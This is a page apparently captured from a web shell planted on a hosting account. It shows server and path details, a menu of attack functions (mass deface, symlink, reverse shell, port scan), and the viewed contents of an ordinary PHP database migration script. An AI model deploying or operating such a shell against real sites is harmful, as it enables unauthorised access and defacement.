Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfra
/
Viewing: db_migration.php
<?php require 'config/Config.php'; try { $pdo = new PDO('mysql:host='.HOST.';dbname='.DBNAME, USER, PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Get the first sucursal ID to assign existing records $stmt = $pdo->query('SELECT id FROM sucursales ORDER BY id ASC LIMIT 1'); $firstSucursal = $stmt->fetchColumn(); if (!$firstSucursal) { die("No sucursales found. Cannot proceed."); } echo "Using sucursal ID: $firstSucursal for existing records.\n"; $tables = [ 'categorias', 'marcas', 'medidas', 'categorias_gastos', 'subcategorias_gastos', 'formapagos' ]; foreach ($tables as $table) { echo "Processing table: $table\n"; // Check if column exists $stmt = $pdo->query("SHOW COLUMNS FROM `$table` LIKE 'id_sucursal'"); if (!$stmt->fetch()) { // Add column with the default sucursal ID for existing rows $sqlAddCol = "ALTER TABLE `$table` ADD COLUMN `id_sucursal` INT(11) NOT NULL DEFAULT $firstSucursal"; $pdo->exec($sqlAddCol); echo "Added id_sucursal to $table.\n"; // Add foreign key constraint // First we need to add an index for the foreign key $sqlAddIndex = "ALTER TABLE `$table` ADD INDEX `FK_{$table}_sucursales` (`id_sucursal`)"; $pdo->exec($sqlAddIndex); $sqlAddFK = "ALTER TABLE `$table` ADD CONSTRAINT `FK_{$table}_sucursales` FOREIGN KEY (`id_sucursal`) REFERENCES `sucursales`(`id`) ON DELETE CASCADE ON UPDATE CASCADE"; $pdo->exec($sqlAddFK); echo "Added FK to $table.\n"; } else { echo "Column already exists in $table.\n"; } } echo "Database changes completed successfully.\n"; } catch (PDOException $e) { echo "Database error: " . $e->getMessage() . "\n"; } ?>
Coded With 💗 by
0x6ick